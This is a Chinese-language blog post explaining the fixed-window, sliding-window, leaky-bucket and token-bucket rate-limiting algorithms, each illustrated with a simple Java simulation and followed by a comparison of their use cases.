最近測試team在測試過程中反饋部分接口需要做一定的限流措施，剛好我也回顧了下限流相關的算法。常見限流相關的算法有四種：計數器算法, 滑動窗口算法, 漏桶算法, 令牌桶算法
1.計數器算法(固定窗口)
計數器算法是使用計數器在周期內累加訪問次數，當達到設定的閾值時就會觸發限流策略。下一個周期開始時，清零重新開始計數。此算法在單機和分佈式環境下實現都非常簡單，可以使用Redis的incr原子自增和線程安全即可以實現
這個算法常用於QPS限流和統計訪問總量，對於秒級以上周期來說會存在非常嚴重的問題，那就是臨界問題，如下圖：
假設我們設置的限流策略時1分鐘限制計數100，在第一個周期最後5秒和第二個周期的開始5秒，分別計數都是88，即在10秒時間內計數達到了176次，已經遠遠超過之前設置的閾值，由此可見，計數器算法（固定窗口）限流方式對於周期比較長的限流存在很大弊端。
Java 實現計數器（固定窗口）：
package com.brian.limit; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicInteger; import lombok.extern.slf4j.Slf4j; /** * 固定窗口 */ @Slf4j public class FixWindow { private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5); private final int limit = 100; private AtomicInteger currentCircleRequestCount = new AtomicInteger(0); private AtomicInteger timeCircle = new AtomicInteger(0); private void doFixWindow() { scheduledExecutorService.scheduleWithFixedDelay(() -> { log.info(" 當前時間窗口，第 {} 秒 ", timeCircle.get()); if(timeCircle.get() >= 60) { timeCircle.set(0); currentCircleRequestCount.set(0); log.info(" =====進入新的時間窗口===== "); } if(currentCircleRequestCount.get() > limit) { log.info("觸發限流策略，當前窗口累計請求數 : {}", currentCircleRequestCount); } else { final int requestCount = (int) ((Math.random() * 5) + 1); log.info("當前發出的 ==requestCount== : {}", requestCount); currentCircleRequestCount.addAndGet(requestCount); } timeCircle.incrementAndGet(); }, 0, 1, TimeUnit.SECONDS); } public static void main(String[] args) { new FixWindow().doFixWindow(); } }
2.滑動窗口算法
滑動窗口算法是將時間周期拆分成N個小的時間周期，分別記錄小周期裏面的訪問次數，並且根據時間的滑動刪除過期的小周期。如下圖，假設時間周期為1分鐘，將1分鐘再分為2個小周期，統計每個小周期的訪問數量，則可以看到，第一個時間周期內，訪問數量為92，第二個時間周期內，訪問數量為104，超過100的訪問則被限流掉了。
由此可見，當滑動窗口的格子劃分的越多，那麼滑動窗口的滾動就越平滑，限流的統計就會越精確。此算法可以很好的解決固定窗口算法的臨界問題。
Java實現滑動窗口：
package com.brian.limit; import java.util.concurrent.*; import java.util.concurrent.atomic.AtomicInteger; import lombok.extern.slf4j.Slf4j; /** * 滑動窗口 * * 60s限流100次請求 */ @Slf4j public class RollingWindow { private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5); // 窗口跨度時間60s private int timeWindow = 60; // 限流100個請求 private final int limit = 100; // 當前窗口請求數 private AtomicInteger currentWindowRequestCount = new AtomicInteger(0); // 時間片段滾動次數 private AtomicInteger timeCircle = new AtomicInteger(0); // 觸發了限流策略后等待的時間 private AtomicInteger waitTime = new AtomicInteger(0); // 在下一個窗口時，需要減去的請求數 private int expiredRequest = 0; // 時間片段為5秒，每5秒統計下過去60秒的請求次數 private final int slidingTime = 5; private ArrayBlockingQueue<Integer> slidingTimeValues = new ArrayBlockingQueue<>(11); public void rollingWindow() { scheduledExecutorService.scheduleWithFixedDelay(() -> { if (waitTime.get() > 0) { waitTime.compareAndExchange(waitTime.get(), waitTime.get() - slidingTime); log.info("=====當前滑動窗口===== 限流等待下一個時間窗口倒計時: {}s", waitTime.get()); if (currentWindowRequestCount.get() > 0) { currentWindowRequestCount.set(0); } } else { final int requestCount = (int) ((Math.random() * 10) + 7); if (timeCircle.get() < 12) { timeCircle.incrementAndGet(); } log.info("當前時間片段5秒內的請求數: {} ", requestCount); currentWindowRequestCount.addAndGet(requestCount); log.info("=====當前滑動窗口===== {}s 內請求數: {} ", timeCircle.get()*slidingTime , currentWindowRequestCount.get()); if(!slidingTimeValues.offer(requestCount)){ expiredRequest = slidingTimeValues.poll(); slidingTimeValues.offer(requestCount); } if(currentWindowRequestCount.get() > limit) { // 觸發限流 log.info("=====當前滑動窗口===== 請求數超過100, 觸發限流,等待下一個時間窗口 "); waitTime.set(timeWindow); timeCircle.set(0); slidingTimeValues.clear(); } else { // 沒有觸發限流，滑動下一個窗口需要,移除相應的:在下一個窗口時，需要減去的請求數 log.info("=====當前滑動窗口===== 請求數 <100, 未觸發限流，當前窗口請求總數: {},即將過期的請求數：{}" ,currentWindowRequestCount.get(), expiredRequest); currentWindowRequestCount.compareAndExchange(currentWindowRequestCount.get(), currentWindowRequestCount.get() - expiredRequest); } } }, 5, 5, TimeUnit.SECONDS); } public static void main(String[] args) { new RollingWindow().rollingWindow(); } }
計數器（固定窗口）和滑動窗口區別：
計數器算法是最簡單的算法，可以看成是滑動窗口的低精度實現。滑動窗口由於需要存儲多份的計數器（每一個格子存一份），所以滑動窗口在實現上需要更多的存儲空間。也就是說，如果滑動窗口的精度越高，需要的存儲空間就越大。
3.漏桶算法
漏桶算法是訪問請求到達時直接放入漏桶，如當前容量已達到上限（限流值），則進行丟棄（觸發限流策略）。漏桶以固定的速率進行釋放訪問請求（即請求通過），直到漏桶為空。
Java實現漏桶：
package com.brian.limit; import java.util.concurrent.*; import lombok.extern.slf4j.Slf4j; /** * 漏桶算法 */ @Slf4j public class LeakyBucket { private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5); // 桶容量 public int capacity = 1000; // 當前桶中請求數 public int curretRequest = 0; // 每秒恆定處理的請求數 private final int handleRequest = 100; public void doLimit() { scheduledExecutorService.scheduleWithFixedDelay(() -> { final int requestCount = (int) ((Math.random() * 200) + 50); if(capacity > requestCount){ capacity -= requestCount; log.info("<><>當前1秒內的請求數:{}, 桶的容量:{}", requestCount, capacity); if(capacity <=0) { log.info(" =====觸發限流策略===== "); } else { capacity += handleRequest; log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity); } } else { log.info("<><><><>當前請求數:{}, 桶的容量:{},丟棄的請求數:{}", requestCount, capacity,requestCount-capacity); if(capacity <= requestCount) { capacity = 0; } capacity += handleRequest; log.info("<><><><>當前1秒內處理請求數:{}, 桶的容量:{}", handleRequest, capacity); } }, 0, 1, TimeUnit.SECONDS); } public static void main(String[] args) { new LeakyBucket().doLimit(); } }
漏桶算法有個缺點：如果桶的容量過大，突發請求時也會對後面請求的接口造成很大的壓力。
4.令牌桶算法
令牌桶算法是程序以恆定的速度向令牌桶中增加令牌，令牌桶滿了之後會丟棄新進入的令牌，當請求到達時向令牌桶請求令牌，如獲取到令牌則通過請求，否則觸發限流策略。
Java實現令牌桶：
package com.brian.limit; import java.util.concurrent.*; import lombok.extern.slf4j.Slf4j; /** * 令牌桶算法 */ @Slf4j public class TokenBucket { private final ScheduledExecutorService scheduledExecutorService = Executors.newScheduledThreadPool(5); // 桶容量 public int capacity = 1000; // 當前桶中請求數 public int curretToken = 0; // 恆定的速率放入令牌 private final int tokenCount = 200; public void doLimit() { scheduledExecutorService.scheduleWithFixedDelay(() -> { new Thread( () -> { if(curretToken >= capacity) { log.info(" =====桶中的令牌已經滿了===== "); curretToken = capacity; } else { if((curretToken+tokenCount) >= capacity){ log.info(" 當前桶中的令牌數:{},新進入的令牌將被丟棄的數: {}",curretToken,(curretToken+tokenCount-capacity)); curretToken = capacity; } else { curretToken += tokenCount; } } }).start(); new Thread( () -> { final int requestCount = (int) ((Math.random() * 200) + 50); if(requestCount >= curretToken){ log.info(" 當前請求數:{},桶中令牌數: {},將被丟棄的請求數:{}",requestCount,curretToken,(requestCount - curretToken)); curretToken = 0; } else { log.info(" 當前請求數:{},桶中令牌數: {}",requestCount,curretToken); curretToken -= requestCount; } }).start(); }, 0, 500, TimeUnit.MILLISECONDS); } public static void main(String[] args) { new TokenBucket().doLimit(); } }
漏桶算法和令牌桶算法區別：
令牌桶可以用來保護自己，主要用來對調用者頻率進行限流，為的是讓自己不被打垮。所以如果自己本身有處理能力的時候，如果流量突發（實際消費能力強於配置的流量限制），那麼實際處理速率可以超過配置的限制。而漏桶算法，這是用來保護他人，也就是保護他所調用的系統。主要場景是，當調用的第三方系統本身沒有保護機制，或者有流量限制的時候，我們的調用速度不能超過他的限制，由於我們不能更改第三方系統，所以只有在主調方控制。這個時候，即使流量突發，也必須捨棄。因為消費能力是第三方決定的。
總結起來：如果要讓自己的系統不被打垮，用令牌桶。如果保證被別人的系統不被打垮，用漏桶算法
參考博客：https://blog.csdn.net/weixin_41846320/article/details/95941361
https://www.cnblogs.com/xuwc/p/9123078.html
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】
※USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能
※台北網頁設計公司這麼多該如何選擇?
※智慧手機時代的來臨，RWD網頁設計為架站首選
※評比南投搬家公司費用收費行情懶人包大公開
※回頭車貨運收費標準
